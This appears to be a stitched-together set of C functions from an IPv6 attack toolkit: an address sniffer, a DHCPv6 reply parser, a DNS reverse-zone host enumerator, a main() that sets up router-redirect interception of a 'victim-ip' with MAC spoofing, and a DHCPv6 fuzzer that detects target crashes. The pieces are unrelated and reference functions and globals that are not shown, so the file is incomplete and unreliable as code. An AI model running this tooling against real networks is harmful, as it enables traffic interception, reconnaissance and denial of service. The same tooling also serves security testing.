void detect(u_char *foo, const struct pcap_pkthdr *header, unsigned char *data) { char *ptr = data, *ptr2; int i, j, k, offset = 8, doit, len = header->caplen; if (do_hdr_size) { len -= do_hdr_size; ptr += do_hdr_size; thc_dump_data(ptr, 8, "packet"); if ((ptr[0] & 240) != 0x60) return; } else { len -= 14; ptr += 14; } // drop ff00::/8 and ::/128 for (k = 0; k <= do_dst; k++) { doit = 0; if (ptr[offset] != 0xff && ( maxhop > 254 || ptr[7] >= 255 - maxhop || (ptr[7] >= 128 - maxhop && ptr[7] <= 128) || (ptr[7] >= 64 - maxhop && ptr[7] <= 64) ) ) doit = 1; if (memcmp(ptr + 8, d[dcnt + 1], 16) == 0) { if (k == 0 && ptr[7] == 255 && ptr[6] == NXT_ICMP6 && ptr[40] == ICMP6_NEIGHBORSOL && len >= 64) { doit = 1; // DAD packet offset = 48; } else doit = 0; } // is it our own address? if (memcmp(ptr + offset + 8, hostpart, 8) == 0) doit = 0; if (doit) { // replace prefix with link-local if -R if (replace != NULL) if (memcmp(ptr + offset, replace, 8) == 0) memcpy(ptr + offset, ll, 8); // check for doubles j = 0; if (dcnt > 0) for (i = 0; i < dcnt && j == 0; i++) if (memcmp(ptr + offset, d[i], 16) == 0) j = 1; if (j == 0) { // no double ptr2 = thc_ipv62notation((char *) (ptr + offset)); printf("%s%s\n", noverb == 0 ? "Detected: " : "", ptr2); if (dcnt < MAX_ENTRIES) { // add to double list memcpy(d[dcnt], ptr + offset, 16); dcnt++; } else if (dcnt == MAX_ENTRIES) { // table full? should not happen, smells like attack dcnt++; fprintf(stderr, "Warning: Table for detected IPv6 addresses is full, doubles can occur now!\n"); } if (script != NULL && fork() == 0) { // beware, this can DOS you (void) wait3(NULL, WNOHANG, NULL); snprintf(exec, sizeof(exec), "%s %s %s\n", script, ptr2, interface); if (system(exec) < 0) fprintf(stderr, "Error: Executing failed - %s\n", exec); exit(0); } free(ptr2); } } offset += 16; } }
void check_packets(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { int len = header->caplen, rlen, i, j, k; unsigned char *ptr = (unsigned char *) data, *rdata, type; char mybuf[1024] = { 0x03, 0, 0, 0, 0, 8, 0, 2, 0, 0 }; if (do_hdr_size) { data += do_hdr_size; len -= do_hdr_size; if ((data[0] & 240) != 0x60) return; } else { data += 14; len -= 14; } rlen = len; rdata = (unsigned char *) data; //printf("x %d < 126, %d != %d, %d != 2||7\n", len, data[6], NXT_UDP, data[48]); if (len < 100 || data[6] != NXT_UDP || (data[48] != 2 && data[48] != 7)) return; //printf("y\n"); type = data[48]; data += 48; len -= 48; memcpy(mybuf + 1, data + 1, 3); data += 4; len -= 4; /* while (len >= 4) { if ((olen = data[2] * 256 + data[3]) > len - 4 || olen < 0) { printf("Information: evil packet received\n"); olen = 0; len = -1; } else { if (data[1] > 1 && data[1] <= 3) { memcpy(mybuf + mlen, data, olen + 4); mlen += olen + 4; } else if (data[1] == 1) { memcpy(mybuf + mlen, data, olen + 4); mlen += olen + 4; if (olen == 14) smac = (char *) (data + 12); else smac = mac; } data += olen + 4; len -= olen + 4; if (len < 0) { printf("Information: evil packet received\n"); len = -1; } } } */ if (len >= 4) { counter++; printf("\nDHCPv6 packet received: %s\n", type == 2 ? "Advertise" : "Reply"); printf(" Server IP6: %s\n", thc_ipv62notation(rdata + 8)); printf(" Server MAC: %02x:%02x:%02x:%02x:%02x:%02x\n", ptr[6], ptr[7], ptr[8], ptr[9], ptr[10], ptr[11]); while (len >= 4) { i = data[0] * 256 + data[1]; j = data[2] * 256 + data[3]; if (j + 4 > len) { printf("Evil Packet!\n"); return; } switch(i) { case 1: //printf(""); // client identifier break; case 2: if (j > 0) { printf(" Server Identifier: "); // server identier for (k = 0; k < j; k++) { printf("%02x", (unsigned char) data[4 + k]); } printf("\n"); } break; case 3: if (j >= 16 && data[16] == 0 && data[17] == 5) printf(" Address Offered: %s\n", thc_ipv62notation((unsigned char*)data + 20)); break; case 7: printf(" Prefered value (not implemented)\n"); // prefered value break; case 13: case 19: if (j >= 2) { printf(" Status Code: %d", data[4] * 256 + data[5]); if (j > 2) { printf(" ("); for (k = 0; k < (j - 2); k++) printf("%c", isprint(data[6 + k]) ? data[6 + k] : '.'); printf(")"); } printf("\n"); } break; case 20: printf(" Reconfigure Request: Accepted\n"); // reconfigure accept break; case 21: printf(" SIP Domain List: "); // sip server domain list for (k = 1; k < j; k++) { if (data[4 + k] == 0 && k + 1 < j) { printf(". + "); k++; } else printf("%c", isprint(data[4 + k]) ? data[4 + k] : '.'); } printf("\n"); break; case 23: if (j >= 16) for (k = 0; k < (j / 16); k++) printf(" DNS Server: %s\n", thc_ipv62notation((unsigned char*)data + 4 + (k * 16))); break; case 25: if (data[17] == 0x1a) printf(" Prefix Delegation: %s\n", thc_ipv62notation((unsigned char*) data + 29)); break; case 31: if (j >= 16) for (k = 0; k < (j / 16); k++) printf(" NTP Server: %s\n", thc_ipv62notation((unsigned char*)data + 4 + (k * 16))); break; case 32: if (j >= 4) printf(" Lifetime: %u\n", (unsigned int) ((data[4] << 24) + (data[5] << 16) + (data[6] << 8) + data[7])); break; case 64: if (j > 1) { printf(" AFTR Server: "); for (k = 0; k < (j - 1); k++) printf("%c", isprint(data[5 + k]) ? data[5 + k] : '.'); printf("\n"); } break; case 99: if (j >= 16) for (k = 0; k < (j / 16); k++) printf(" DHCPv4OverIPv6 Server: %s\n", thc_ipv62notation((unsigned char*)data + 4 + (k * 16))); break; case 199: if (j >= 16) for (k = 0; k < (j / 16); k++) printf(" ?199? Server: %s\n", thc_ipv62notation((unsigned char*)data + 4 + (k * 16))); break; default: printf(" Unknown option type: %d\n", i); } len -= (4 + j); data += (4 + j); } printf("\n"); } }
int deeper(int depth) { unsigned char r[16], *ptr2; int i, j, ok = 0, rs = 0, len, clen, nlen; if (depth > 31) return -1; memset(r, 0, sizeof(r)); // generate base packet cnt++; buf[1] = cnt; for (i = 0; i < depth; i++) { buf[sizeof(buf_start) + 2 + i * 2] = 1; buf[sizeof(buf_start) + 2 + i * 2 + 1] = range[depth - i - 1]; } memcpy(buf + sizeof(buf_start) + 2 + depth * 2, buf_end, sizeof(buf_end)); buf_len = sizeof(buf_start) + 2 + depth * 2 + sizeof(buf_end); // loop to finish generation and send redo: for (i = 0; i < 16; i++) { if (r[i] == 0) { buf[0] = i; buf[13] = tohex(i); if (send(sock, buf, buf_len, 0) < 0) { fprintf(stderr, "Error: can not send to network!\n"); exit(-1); } else usleep(5); } } //recveive and process replies wait = 1; alarm(waittime); while(ok == 0 && wait == 1) { if ((len = recv(sock, buf2, sizeof(buf2), 0)) > 70 && buf2[1] == cnt) { i = (buf2[0] & 15); if ((buf2[3] & 3) == 0) { if (depth == 31) { r[i] = 3; if (buf2[7] == 1) { found++; strcpy(name, "Found: "); ptr2 = buf2 + 12; i = 0; while (i < 32 && *ptr2 == 1) { if (i % 2 == 0) j = tochar(ptr2[1]); else dst6[15 - i/2] = (tochar(ptr2[1]) * 16) + j; ptr2 += 2; i++; } strcat(name, thc_ipv62notation(dst6)); strcat(name, " is "); ptr2 = buf2 + 102; while (*ptr2 != 0 && ptr2 + *ptr2 + 1 <= buf2 + len) { clen = *ptr2; nlen = *(ptr2 + clen + 1); *(ptr2 + clen + 1) = 0; strcat(name, ptr2 + 1); strcat(name, "."); *(ptr2 + *ptr2 + 1) = nlen; ptr2 += clen + 1; } if (debug) { strcat(name, " is "); ptr2 = buf2 + 12; while (*ptr2 != 0 && ptr2 + *ptr2 + 1 <= buf2 + len) { clen = *ptr2; nlen = *(ptr2 + clen + 1); *(ptr2 + clen + 1) = 0; strcat(name, ptr2 + 1); strcat(name, "."); *(ptr2 + *ptr2 + 1) = nlen; ptr2 += clen + 1; } } printf("%s\n", name); } } else r[i] = 2; } else r[i] = 1; rs++; } if (rs == 16) ok = 1; } alarm(0); if (ok == 1 || rs == 16) { // all packets received for (i = 0; i < 16; i++) if (r[i] == 2) { range[depth] = tohex(i); deeper(depth + 1); } } else { // packet loss / timeout if (rs < 16) waittime++; if (rs < 11) waittime++; if (rs < 6) waittime++; if (rs < 2) waittime++; if ((rs == 0 && (waittime >= WAITTIME_START + 6)) || waittime > 15) { fprintf(stderr, "Error: DNS Server %s is not answering or not reliable enough anymore!\n", dst); exit(-1); } fprintf(stderr, "Warning: packet loss, increasing response timeout to %d seconds\n", waittime); goto redo; } return rs; }
int main(int argc, char *argv[]) { int rawmode = 0, offset = 14; char string[256] = "ip6"; if (argc < 5 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } if (do_hdr_size) offset = do_hdr_size; interface = argv[1]; if ((src6 = thc_resolve6(argv[2])) == NULL) { if (strcmp(argv[2], "*") != 0) { fprintf(stderr, "Error: victim-ip is not a valid IPv6 address or '*': %s\n", argv[2]); exit(-1); } } if ((dest6 = thc_resolve6(argv[3])) == NULL) { if (strcmp(argv[3], "*") != 0) { fprintf(stderr, "Error: destination-ip is not a valid IPv6 address or '*': %s\n", argv[3]); exit(-1); } } if ((oldrouter6 = thc_resolve6(argv[4])) == NULL) { fprintf(stderr, "Error: old-router is not a valid IPv6 address: %s\n", argv[4]); exit(-1); } if (argc >= 6) { if ((newrouter6 = thc_resolve6(argv[5])) == NULL) { fprintf(stderr, "Error: new-router is not a valid IPv6 address: %s\n", argv[5]); exit(-1); } } else newrouter6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK); /* Spoof source mac */ if ((self6 = thc_get_own_ipv6(interface, oldrouter6, PREFER_GLOBAL)) == NULL) { fprintf(stderr, "Error: could not get own IP address to contact original-router\n"); exit(-1); } if ((fakemac = thc_get_mac(interface, self6, oldrouter6)) == NULL) { fprintf(stderr, "Error: could not resolve mac address for original-router\n"); free(self6); exit(-1); } mac6 = mac; if (argc >= 7) sscanf(argv[6], "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4], (unsigned int *) &mac[5]); else mac6 = thc_get_own_mac(interface); realownmac = thc_get_own_mac(interface); if (src6 != NULL) { strcat(string, " and src "); strcat(string, thc_ipv62notation(src6)); } if (dest6 != NULL) { strcat(string, " and dst "); strcat(string, thc_ipv62notation(dest6)); } printf("Starting sniffer to get traffic to be redirected (press Control-C to end) ...\n"); return thc_pcap_function(interface, string, (char *) intercept, 1, NULL); }
int fuzz_loop(char* pkt, int* pkt_len) { int do_fuzz = 1; int test_pos = 0, test_ptr = 0, test_cnt = 0, test_current = 0; int do_it; int i; unsigned short int *sip; unsigned int *intp; int fragment = 0, frag_offset = 0; unsigned char *pkt_bak; thc_ipv6_hdr *hdr = (thc_ipv6_hdr *) pkt; // backup of generated packet pkt_bak = malloc(hdr->pkt_len); memcpy(pkt_bak, hdr->pkt, hdr->pkt_len); printf("Fuzzing packet, starting at fuzz case %d, ending at fuzz case %d:\n", test_start, test_end); printf("fuzzbuf(%d): %s\n", strlen(fuzzbuf), fuzzbuf); while (do_fuzz) { if (test_cnt == 0) while (fuzzbuf[test_ptr] == '.') { test_ptr++; test_pos++; } if (fuzzbuf[test_ptr] == 0) do_fuzz = 0; test_cnt++; do_it = 1; switch (fuzzbuf[test_ptr]) { case 0: break; case 'X': if (test_cnt <= COUNT_EXTEND) { if (pkt_bak[test_pos] != extends[test_cnt - 1]) hdr->pkt[test_pos] = extends[test_cnt - 1]; else do_it = 0; } else { test_cnt = 0; test_ptr++; test_pos++; } break; case 'B': if (test_cnt <= COUNT_BYTE) { if (pkt_bak[test_pos] != bytes[test_cnt - 1]) hdr->pkt[test_pos] = bytes[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_BYTE && do_it) { if (bytes[i] == pkt_bak[test_pos]) do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_BYTE + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'F': if (test_cnt <= COUNT_FLAG) { if (pkt_bak[test_pos] != flags[test_cnt - 1]) hdr->pkt[test_pos] = flags[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_FLAG && do_it) { if (bytes[i] == pkt_bak[test_pos]) // yes, bytes[] is the right one even for flags do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_FLAG + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'W': sip = (unsigned short int *) &pkt_bak[test_pos]; if (test_cnt <= COUNT_WORD) { if (*sip != words[test_cnt - 1]) memcpy((char *) &hdr->pkt[test_pos], (char *) &words[test_cnt - 1], 2); else do_it = 0; } else { i = 0; while (i < COUNT_WORD && do_it) { if (words[i] == *sip) do_it = 0; i++; } if (do_it) { i = *sip ^ xors[test_cnt - COUNT_WORD - 1]; sip = (unsigned short int *) &hdr->pkt[test_pos]; *sip = i % 65536; } } if (test_cnt == COUNT_WORD + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos += 2; } break; case 'D': intp = (unsigned int *) &pkt_bak[test_pos]; if (test_cnt <= COUNT_DWORD) { if (*intp != dwords[test_cnt - 1]) memcpy((char *) &hdr->pkt[test_pos], (char *) &dwords[test_cnt - 1], 4); else do_it = 0; } else { i = 0; while (i < COUNT_DWORD && do_it) { if (dwords[i] == *intp) do_it = 0; i++; } if (do_it) { i = *intp ^ xors[test_cnt - COUNT_DWORD - 1]; intp = (unsigned int *) &hdr->pkt[test_pos]; *intp = (unsigned int) i; // *intp = (unsigned int) (i % 4294967295); } } if (test_cnt == COUNT_DWORD + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos += 4; } break; default: fprintf(stderr, "This character should not be in the fuzz string, shoot the programmer: %c(%d) position %d string %s\n", fuzzbuf[test_ptr], fuzzbuf[test_ptr], test_ptr, fuzzbuf); return -1; break; } if (do_it && do_fuzz) { if (test_current >= test_start && test_current <= test_end && do_fuzz) { printf("[%s] pos[%d]=%c -> %d | pkt[%d] | %d (%d=>%d)| \n", /*fuzzbuf*/"", test_ptr, fuzzbuf[test_ptr], test_cnt, test_pos, test_current, test_start, test_end); // Generate new transaction id int three_byte_test_current = test_current % 0x1000000; memcpy(hdr->pkt + 63, (char *) &three_byte_test_current, 3); // Regenerate UDP checksum hdr->pkt[60] = 0; hdr->pkt[61] = 0; i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_UDP, &hdr->pkt[54], hdr->pkt_len - 54); hdr->pkt[60] = i / 256; hdr->pkt[61] = i % 256; // send packets int k; for (k = 0; k < no_send; k++) { while(thc_send_pkt(interface, pkt, pkt_len) < 0) usleep(1); } // printf("."); usleep(250); // TODO: Server up check if ((test_current - test_start) % ping == 0 && test_current != 0 && test_start != test_current) if (check_alive(p) == 0) { i = ((((test_current - test_start) / ping) - 1) * ping) + test_start + 1; printf("\nResult: target %s crashed during fuzzing, offending test case no. could be %d to %d\n", thc_ipv62notation(hdr->final_dst), i < 0 ? 0 : i, test_current); exit(1); } } // reset to basic packet memcpy(hdr->pkt, pkt_bak, hdr->pkt_len); test_current++; } } return 0; }